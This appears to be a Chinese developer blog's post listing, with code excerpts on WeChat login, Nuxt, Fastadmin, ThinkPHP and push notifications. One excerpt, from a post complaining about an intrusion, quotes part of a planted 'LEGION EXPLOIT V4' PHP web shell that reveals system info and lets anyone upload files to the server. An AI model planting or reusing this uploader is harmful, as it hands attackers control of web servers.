-
微信小程序登录
// 执行微信登录 wx.getUserProfile({ desc: '用于完善会员资料', // 声明获取用户个人信息后的用途,后续会展示在弹窗中,请谨慎填写 success: (res) => { // console.log(res);return false; wx.login({ success(login_res) { // console.log(login_res);return false; // 发送用户信息 App._post_form('user/login', { code: login_res.code,...Nuxt.js 速成(含使用宝塔实现nuxt项目部署)
创建项目
Fastadmin基础知识(一)
js
// 初始化表格 var Controller = { index: function () { // 初始化表格参数配置Fastadmin基础知识(二)
自定义按钮(老版)
{ field: 'refundMontyis', title: __('退款'), table: tableThinkPHP5默认首页
index/controller/Index.php
namespace app\index\controller; class Index { public function index(){ $html=' <style type="text/css">...自己博客被别人上传的文件
一个小破站还他妈的被别人攻击,还有天理吗
被别人上传的lan1.php文件echo '<center><h1>LEGION EXPLOIT V4 (Năvodari Power)</h1>'.'<br>'.'[uname] '.php_uname().' [/uname] '; echo'<form method="post"enctype="multipart/form-data">'; echo'<input type="file"name="file"><input name="_upl"type="submit"value="Upload"></form>'; if( $_POST['_upl']=="Upload"){ if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){ echo'<b>LEGION Exploit Success!</b>'; }else{ echo'<b>LEGION Exploit Success!</b>';...Uniapp 消息推送
``` /**
- 推送单个通知
- @param string $userCid 用户唯一标识
- @param string $title 标题
- @param string $body 内容
- @return bool */ function pushNotice($userCid=’’,$title=’’,$body=’’) { Vendor(‘Pushapi.GTClient’); // 创建API,APPID等配置参考 环境要求 进行获取 $api = new...
日期时间格式转时间戳
date_default_timezone_set('PRC'); function getPubTime($create_time){ $arr = date_parse_from_format('Y年m月d日H时i分s秒',$create_time); $year=!empty($arr['year'])?$arr['year']:0; $month=!empty($arr['month'])?$arr['month']:0; $day=!empty($arr['day'])?$arr['day']:0; $hour=!empty($arr['hour'])?$arr['hour']:0; $minute=!empty($arr['minute'])?$arr['minute']:0; $second=!empty($arr['second'])?$arr['second']:0; $timestr = mktime($hour,$minute,$second,$month,$day,$year); return $timestr; } echo getPubTime('2020年08月25日17时28分46秒');32/51